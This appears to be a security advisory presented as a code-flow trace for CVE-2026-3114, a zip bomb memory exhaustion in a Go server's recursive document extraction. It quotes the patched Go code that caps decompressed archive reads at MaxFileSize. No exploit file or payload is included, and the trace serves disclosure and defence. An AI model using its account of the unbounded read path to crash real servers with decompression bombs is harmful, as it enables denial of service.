Zip bomb memory exhaustion in recursive document extraction (CVE-2026-3114)

Metric values as published in the disclosure vector. Meters show how far each value raises exposure.

1. Source · attacker-controlledserver/channels/app/file.go:1625

   App.ExtractContentFromFileInfo

2. 1
   Step 01server/channels/app/upload.go:349-352

   When file content extraction is enabled, uploaded file metadata can trigger ExtractContentFromFileInfo immediately after storage. The extract-content job can also process stored files later.

   if *a.Config().FileSettings.ExtractContent {
       infoCopy := info
       err := a.ExtractContentFromFileInfo(rctx, &infoCopy)
   }
   

3. 2
   Step 02server/channels/app/file.go:1636-1638

   The patched app layer now passes both ArchiveRecursion and the configured MaxFileSize into the document extractor.

   text, err := docextractor.Extract(rctx.Logger(), fileInfo.Name, file, docextractor.ExtractSettings{
       ArchiveRecursion: *a.Config().FileSettings.ArchiveRecursion,
       MaxFileSize:      *a.Config().FileSettings.MaxFileSize,
   })
   

4. 3
   Step 03server/platform/services/docextractor/docextractor.go:36-48

   When archive recursion is enabled, the archive extractor is configured with a sub-extractor chain and receives the MaxFileSize value through the shared extractor interface.

   if settings.ArchiveRecursion {
       enabledExtractors.Add(&archiveExtractor{SubExtractor: enabledExtractors})
   } else {
       enabledExtractors.Add(&archiveExtractor{})
   }
   
   if enabledExtractors.Match(filename) {
       return enabledExtractors.Extract(filename, r, settings.MaxFileSize)
   }
   

5. 4
   Step 04server/platform/services/docextractor/archive.go:87-105

   Before the fix, each archive entry was read with an unbounded io.ReadAll(file). The patched code wraps the entry in a limited reader before reading decompressed bytes into memory.

   file, err := fsys.Open(path)
   if err != nil {
       return err
   }
   defer file.Close()
   
   var reader io.Reader = file
   if maxFileSize > 0 {
       reader = utils.NewLimitedReaderWithError(file, maxFileSize)
   }
   
   data, err := io.ReadAll(reader)
   if err != nil {
       return fmt.Errorf("error reading archive entry %s: %w", path, err)
   }
   
   subtext, extractErr := ae.SubExtractor.Extract(filename, bytes.NewReader(data), maxFileSize)
   

6. Sinkserver/platform/services/docextractor/archive.go:100

   archiveExtractor.Extract